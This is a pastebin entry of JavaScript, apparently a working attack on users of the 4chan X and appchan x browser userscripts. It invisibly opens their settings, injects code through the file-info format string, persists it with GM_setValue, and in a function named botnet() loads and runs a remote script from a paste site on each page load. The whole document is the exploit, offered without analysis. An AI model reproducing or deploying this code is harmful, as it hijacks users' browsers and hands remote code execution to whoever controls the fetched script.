\ Untitled - /g/pasta 2.4
From Morose Bird, 4 Years ago, written in JavaScript.
Embed
  1. function botnet() {
  2.     var x = document.createElement('script');
  3.     x.src = 'https://paste.installgentoo.com/view/raw/1b510422';
  4.     document.head.appendChild(x);
  5.     return '';
  6. }
  7.  
  8. function setGM() {
  9.     document.body.addEventListener('mousemove', function() {
  10.         var y = document.getElementsByName('fileInfo')[0];
  11.         if (y && typeof GM_setValue === 'function') {
  12.             var ns = '4chan X.';
  13.             if (document.body.classList.contains('fourchan_x')) ns = '4chan_x.';
  14.             if (document.documentElement.classList.contains('appchan-x')) ns = 'appchan_x.';
  15.             GM_setValue(ns + 'File Info Formatting', '"true"');
  16.             GM_setValue(ns + 'fileInfo', JSON.stringify(y.value));
  17.         }
  18.         var overlay = document.getElementById('overlay');
  19.         if (overlay) overlay.click();
  20.     }, true);
  21.     return '';
  22. }
  23.  
  24. function clickThrough(items, cb) {
  25.     var selector = items.shift();
  26.     var el = document.querySelector(selector);
  27.     if (el) el.click();
  28.     setTimeout(function() {
  29.         if (items.length > 0) {
  30.             clickThrough(items, cb);
  31.         } else {
  32.             cb();
  33.         }
  34.     }, 0);
  35. }
  36.  
  37. if (!window.dropped) {
  38.     window.dropped = true;
  39.     var ss = document.createElement('style');
  40.     ss.textContent = '#menu, #overlay, #fourchanx-settings, #appchanx-settings {opacity: 0 !important;}';
  41.     document.body.appendChild(ss);
  42.     clickThrough([
  43.         '.menu-button',
  44.         '.settings-link, .settingsWindowLink',
  45.         '.tab-main, .tab-script, label[for="main_tab"]'
  46.     ], function() {
  47.         var x = document.getElementsByName('File Info Formatting')[0];
  48.         x.checked = true;
  49.         if (x) {
  50.             x.dispatchEvent(new CustomEvent('click'));
  51.             x.dispatchEvent(new CustomEvent('change'));
  52.         }
  53.         clickThrough(['.tab-rice, .tab-advanced, label[for="rice_tab"]'], function() {
  54.             var y = document.getElementsByName('fileInfo')[0];
  55.             y.value = "%l (%p%s, %r)'+("+setGM+")()+'";
  56.             y.dispatchEvent(new CustomEvent('input'));
  57.             y.dispatchEvent(new CustomEvent('change'));
  58.             y.value = "%l (%p%s, %r)'+("+botnet+")()+'";
  59.             y.dispatchEvent(new CustomEvent('input'));
  60.             y.dispatchEvent(new CustomEvent('change'));
  61.         });
  62.     });
  63. }
  64.